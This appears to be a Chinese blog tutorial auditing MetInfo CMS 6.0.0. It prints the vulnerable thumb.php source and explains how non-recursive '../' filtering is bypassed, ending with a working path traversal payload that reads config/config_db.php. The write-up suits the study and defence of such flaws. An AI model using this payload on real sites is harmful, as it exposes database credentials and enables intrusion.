WEB攻防-PHP特性-CMS审计实例

发布于:2024-04-27 ⋅ 阅读:(21) ⋅ 点赞:(0)

前置知识:PHP函数缺陷

测试环境:MetInfo CMS

  1. 函数缺陷导致的任意文件读取

漏洞URL:/include/thumb.php?dir=

漏洞文件位置:MetInfo6.0.0\app\system\include\module\old_thumb.class.php

<?php


defined('IN_MET') or exit('No permission');

load::sys_class('web');

class old_thumb extends web{

      public function doshow(){
        global $_M;

         $dir = str_replace(array('../','./'), '', $_GET['dir']);
         echo $dir;
         echo "<br/>";
          echo !(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http');
          echo "<br/>";

        if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
            
            header("Content-type: image/jpeg");
            echo $dir;
            echo 11111111;
            ob_start();
            readfile($dir);
            
            ob_flush();
            flush();
            die;
        }

        if($_M['form']['pageset']){
          $path = $dir."&met-table={$_M['form']['met-table']}&met-field={$_M['form']['met-field']}";

        }else{
          $path = $dir;
        }
        $image =  thumb($path,$_M['form']['x'],$_M['form']['y']);
        if($_M['form']['pageset']){
          $img = explode('?', $image);
          $img = $img[0];
        }else{
          $img = $image;
        }
        if($img){
            header("Content-type: image/jpeg");
            ob_start();
            readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));
            echo PATH_WEB.str_replace($_M['url']['site'], '', $img);
            echo 2222222;
            ob_flush();
            flush();
        }

    }
}


?>

 

源码中,      $dir = str_replace(array('../','./'), '', $_GET['dir']);过滤了../和./,但str_replace是不迭代循环过滤的,可以双写绕过的

可以看到代码中 if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false)这个条件用于检测一个路径$dir是否是一个以'http'开头且不是相对于当前目录的(不包含'./')。但是,这样的判断方式并不完全准确,因为它只是检查了前4个字符是否为'http',而没有确保整个字符串是一个有效的URL。同时,检查'./'来排除相对路径的方式也是有限的,因为它没有考虑如'../'或其他相对路径形式。当我们试图构造playload:http://localhost/MetInfo/include/thumb.php?dir=http\.....//\config\config_db.php

readfile($dir);打开http\.....//\config\config_db.php这个路径是一个无效路径,所以继续看代码

if($_M['form']['pageset'])

在全局搜索pageset看到是一个跳转地址加参数pageset=1

而我们构造playload没有跳转动作,所以应该是不会满足条件的,也就是说构造的dir会直接赋值给$path

再看下一行 $image =  thumb($path,$_M['form']['x'],$_M['form']['y']);这里对path作了处理,应该是宽高处理,追踪thumb这个函数

找到最后返回调用的函数met_thumb

可以看到红框上面的又做了一次../和./的过滤,如果没有http会执行红框下面的代码,在$image = $this->get_thumb();追踪到get_thumb可以看到return file_exists($thumb_path) ? $this->thumb_url : $this->create_thumb();,继续追踪 $this->create_thumb();,可以看到会返回一个默认路径

 

完整代码

<?php

defined('IN_MET') or exit('No permission');



class image{

	/**
	 * 图片信息
	 * @var [type]
	 */
	public $image;

	/**
	 * 域名
	 * @var [type]
	 */
	public $host;

	/**
	 * 请求图片宽
	 * @var int
	 */
	public $x;

	/**
	 * 请求图片高
	 * @var int
	 */
	public $y;

	/**
	 * 生成图片宽
	 * @var [type]
	 */
	public $thumb_x;

	/**
	 * 生成图片高
	 * @var [type]
	 */
	public $thumb_y;

	/**
	 * 缩略图存放目录
	 * @var [type]
	 */
	public $thumb_dir;

	/**
	 * 缩略图路径
	 * @var [type]
	 */

	/**
	 * 缩略图url
	 * @var [type]
	 */
	public $thumb_url;

	public $thumb_path;


	public function met_thumb($image_path, $x = '', $y = ''){

		global $_M;
		if(!isset($image_path)){
			$image_path = $_M['url']['site'].'public/images/metinfo.gif';
		}
		$this->image_path = str_replace(array($_M['url']['site'],'../','./'), '', $image_path);
		// 如果地址为空 返回默认图片
		if(!$this->image_path){
			return $_M['url']['site'].'public/images/metinfo.gif';
		}
		// 如果去掉网址还有http就是外部链接图片 不需要缩略处理
		if(strstr($this->image_path, 'http')){
			return $this->image_path;
		}
		$this->x = is_numeric($x) ? intval($x) : false;
		$this->y = is_numeric($y) ? intval($y) : false;

		$this->image = pathinfo($this->image_path);
		$this->thumb_dir = PATH_WEB.'upload/thumb_src/';
		$this->thumb_path = $this->get_thumb_file() . $this->image['basename'];

		$image = $this->get_thumb();
		return $image;
	}


	public function get_thumb_file() {
		global $_M;
		$x = $this->x;
		$y = $this->y;

		if($path = explode('?', $this->image_path)){
			$image_path = $path[0];
		}else{
			$image_path = $this->image_path;
		}

		$s = file_get_contents(PATH_WEB.$image_path);

		$image = imagecreatefromstring($s);

		$width = imagesx($image);//获取原图片的宽
		$height = imagesy($image);//获取原图片的高
		if($x && $y) {
			$dirname = "{$x}_{$y}/";
			$this->thumb_x  = $x;
			$this->thumb_y  = $y;
		}

		if($x && !$y) {
			$dirname 		= "x_{$x}/";
			$this->thumb_x  = $x;
			$this->thumb_y  = $x / $width * $height;
		}

		if(!$x && $y) {
			$dirname 		= "y_{$y}/";
			$this->thumb_y  = $y;
			$this->thumb_x  = $y / $height * $width;
		}

		$this->thumb_url = $_M['url']['site'] . 'upload/thumb_src/' . $dirname . $this->image['basename'];

		$dirname = $this->thumb_dir . $dirname ;

		if(stristr(PHP_OS,"WIN")) {
			$dirname = @iconv("utf-8","GBK",$dirname);
		}

		return $dirname;
	}

	public function get_thumb() {
		if($path = explode('?', $this->thumb_path)){
			$thumb_path = $path[0];
		}else{
			$thumb_path = $this->thumb_path;
		}

		return file_exists($thumb_path) ? $this->thumb_url : $this->create_thumb();
	}

	public function create_thumb() {

		global $_M;
		$thumb = load::sys_class('thumb','new');
		$thumb->set('thumb_save_type',3);
		$thumb->set('thumb_kind',$_M['config']['thumb_kind']);
		$thumb->set('thumb_savepath',$this->get_thumb_file());
		$thumb->set('thumb_width',$this->thumb_x);
		$thumb->set('thumb_height',$this->thumb_y);
		$suf = '';
		if($path = explode('?', $this->image_path)){
			$image_path = $path[0];
			$suf .= '?'.$path[1];
		}else{
			$image_path = $this->image_path;
		}

		if($_M['config']['met_big_wate'] && strpos($image_path, 'watermark')!==false){
			$image_path = str_replace('watermark/', '', $image_path);
		}
		$image = $thumb->createthumb($image_path);
		if($_M['config']['met_thumb_wate'] && strpos($image_path, 'watermark')===false){
			$mark = load::sys_class('watermark','new');
			$mark->set('water_savepath',$this->get_thumb_file());
			$mark->set_system_thumb();
			$mark->create($image['path']);
		}


		if($image['error']){
            if (!$_M['config']['met_agents_switch']) {
                return $_M['url']['site'].'public/images/metinfo.gif'.$suf;
            }else{
                $met_agents_img =str_replace('../', '', $_M['config']['met_agents_img']);
                $image_path = $_M['url']['site'] . $met_agents_img;
                return $_M['url']['site'].$met_agents_img.$suf;
            }
		}

		return $_M['url']['site'].$image['path'].$suf;
	}


}

重点看红框部分,再贴一次上面的图

只要二次过滤后的路径有http就返回二次过滤的路径

回到漏洞页面代码,也就是$image接收thump处理后的一个二次过滤../和./的路径,

下面又if($_M['form']['pageset']),这里又直接执行else赋值给$img

最后一个判断可以看到 readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));

PATH_WEB是一个常量,包含了指定的路径

拼接我们传进来的值,而这个值会被二次过滤../和./,也就是说,我们需要构造一个绕过二次过滤的playload就可以任意读取已知路径的文件

/MetInfo/include/thumb.php?dir=ahttp\.....//\config\config_db.php

 注意:

  • http前面可以加任何字符来绕过if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false),但不能加后面,加前面就满足了substr(str_replace($_M['url']['site'], '', $dir),0,4)的条件
  • 第一个反斜杠也可以是/,只是为了闭合ahppt这个文件名,
  • 而第二个加了底纹的\不可以时候/,因为会被二次过滤,过滤后会变成ahttp\config\config_db.php,而\过滤之后是ahttp\..\config\config_db.php,才能使..\返回上一节目录
  • .. 的作用与之前的目录是否存在无关,它总是表示向上移动一个目录级别。而路径解析器会忽略任何不存在的目录部分,并继续处理剩余的有效部分。这就是为什么 ahttp\..\ 会返回到 MetInfo 这个目录,即使 ahttp\ 目录不存在。